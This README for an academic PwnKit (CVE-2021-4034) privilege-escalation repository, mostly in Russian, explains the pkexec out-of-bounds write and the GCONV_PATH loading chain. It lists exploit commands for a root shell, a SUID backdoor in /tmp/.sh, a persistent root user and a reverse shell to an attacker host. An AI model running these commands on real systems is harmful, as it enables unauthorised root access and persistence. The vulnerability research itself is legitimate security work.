
Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques.
Уязвимость повреждения памяти в утилите pkexec из polkit
Локальное повышение привилегий → root через запись за пределами буфера
Затрагивает: polkit 0.105-31 и более ранние · Исправление: polkit 0.105-33 (январь 2022)
Интерактивная root-оболочка, полученная через CVE-2021-4034 - PwnKit
Этот репозиторий содержит моё исследование магистерской диссертации по CVE-2021-4034, уязвимости локального повышения привилегий высокого уровня опасности (CVSS 7.8) в утилите pkexec из polkit, известной как PwnKit.
Уязвимость возникает из-за записи за пределами буфера в логике обработки аргументов pkexec. Когда pkexec запускается с пустым или специально сформированным argv, он читает и записывает за границы массива argv в массив envp, что позволяет непривилегированному локальному пользователю внедрить вредоносные переменные окружения, которые затем загружаются как общая библиотека для выполнения произвольного кода с привилегиями root.
| Аспект | Описание |
|---|---|
CVE-2021-4034/
├── README.md # Этот файл
├── LICENSE # Лицензия MIT
│
├── exploit/
│ └── pwnkit.py # Расширенный эксплойт с несколькими нагрузками
│
└── docs/
├── screenshots/ # Демонстрации эксплуатации
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Анализ первопричины уязвимости
├── 02-exploitation-chain.md # Разбор цепочки эксплуатации
└── 03-timeline.md # Хронология CVE
pkexec --version показывает 0.105 или более раннюю)apt install gcc)# Интерактивная root-оболочка (по умолчанию)
python3 exploit/pwnkit.py -p shell
# Проверка контекста выполнения
python3 exploit/pwnkit.py -p whoami
# Выполнение произвольной команды от root
python3 exploit/pwnkit.py -p custom -c "id"
# Создание SUID-бэкдора в /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Добавление постоянного пользователя root
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Обратный шелл
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec обрабатывает собственный argv для определения запускаемой программы. При вызове с argc == 0 (пустой вектор аргументов) проверка границ argv не выполняется должным образом. Последующее чтение за пределами обрабатывает envp[0] как argv[1], а запись за пределами обратно в envp позволяет атакующему заменить переменную окружения на сконструированный путь. Когда pkexec позднее вызывает g_printerr(), он загружает GCONV_PATH из теперь контролируемого атакующим окружения, загружая предоставленную атакующим общую библиотеку с привилегиями root.
argc == 0 → argv[1] считывает envp[0]
argv[1] = "GCONV_PATH=." (запись обратно в envp)
pkexec загружает ./pwnkit.so (общая библиотека атакующего)
gconv_init() выполняется от root
1. Создаём argv = { NULL } → argc = 0, вызывает выход за границы
2. Устанавливаем envp[0] = "pwnkit.so:."
3. Устанавливаем envp[1] = "PATH=GCONV_PATH=."
4. pkexec записывает "pwnkit.so:." за границы в envp[0] как если бы это был argv[1]
5. pkexec разрешает GCONV_PATH=. и загружает gconv-modules
6. gconv-modules отображает кодировку "PWNKIT" на pwnkit.so
7. pwnkit.so:gconv_init() вызывается с привилегиями root
8. Выполняется полезная нагрузка (shell / backdoor / reverse shell / и т.д.)







Все тесты проводились на изолированной виртуальной машине VirtualBox с Ubuntu 20.04 LTS и polkit 0.105-26 (уязвимая версия), без доступа к сети.
| Документ | Описание |
|---|---|
| Анализ первопричины | Запись за границы в обработке аргументов pkexec |
| Цепочка эксплуатации |
Это исследование является частью моей Магистерской диссертации по кибербезопасности (UCAM — Campus Internacional de Ciberseguridad), в рамках которой анализируются N-Day уязвимости в различных средах.
Данный CVE представляет вектор локального повышения привилегий в Linux в рамках диссертации, демонстрирующий:
Ключевые слова: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Аннаис Молина (devianntsec) — Студент магистратуры по кибербезопасности
Лицензия MIT — см. LICENSE
Этот репозиторий предоставлен только для образовательных целей и исследований в области безопасности в рамках академической магистерской диссертации. Все тесты проводились на изолированных виртуальных машинах без доступа к сети. Используйте только на системах, которые вам принадлежат или на которые вы имеете письменное разрешение на тестирование. Несанкционированное использование против систем незаконно и может привести к уголовному преследованию.
| Эксплойт с несколькими полезными нагрузками |
| Python-обёртка с 6 режимами полезной нагрузки: shell, id, backdoor и reverse shell |
| Автоматическая настройка окружения | Автоматическое создание GCONV_PATH и настройка gconv-modules |
| Модули пост-эксплуатации | SUID-бэкдор, создание пользователя root, выполнение произвольных команд |
| Академическая документация | Анализ первопричины, цепочка эксплуатации и хронология уязвимости |
| Полезная нагрузка | Описание | Вывод |
|---|
shell | Запускает интерактивный /bin/sh от root | Интерактивная оболочка |
id | Записывает вывод id и whoami в /tmp/pwnkit_id.txt | Файл |
whoami | Записывает проверку UID/eUID в /tmp/pwnkit_root_test | Файл |
backdoor_suid | Создаёт SUID-копию bash root в /tmp/.sh | Постоянный бэкдор |
add_root_user | Добавляет пользователя в /etc/passwd | Постоянный доступ |
reverse_shell | Подключается обратно к атакующему через Python | Удалённая оболочка |
custom | Выполняет любую команду от root | stdout / файл |
| Компонент | Значение | Примечания |
|---|
| Уязвимый бинарник | /usr/bin/pkexec | SUID root |
| Условие срабатывания | argc == 0 | Пустой argv |
| Примитив записи | Запись за границы в envp | Через argv[argc-1] |
| Механизм загрузки | GCONV_PATH + gconv-modules | Стандартный glibc iconv |
| Контекст выполнения | gconv_init() в общей библиотеке | Выполняется с EUID 0 |
| Затронутые версии | polkit ≤ 0.105-31 | Все основные дистрибутивы Linux |
| Полезная нагрузка | Результат | Примечания |
|---|
shell | ✅ Получена root-оболочка | Немедленный интерактивный доступ |
id | ✅ uid=0(root) подтверждён | Вывод в /tmp/pwnkit_id.txt |
whoami | ✅ root подтверждён | UID/eUID = 0 |
backdoor_suid | ✅ SUID-бит установлен на /tmp/.sh | Постоянный после эксплуатации |
add_root_user | ✅ Пользователь создан | Сохраняется после перезагрузки |
reverse_shell | ✅ Соединение установлено | Python reverse shell работает |
custom | ✅ Выполнение произвольной команды | Полный контекст root |
| Пошаговое описание инъекции GCONV_PATH |
| Хронология CVE | Обнаружение, раскрытие и исправление |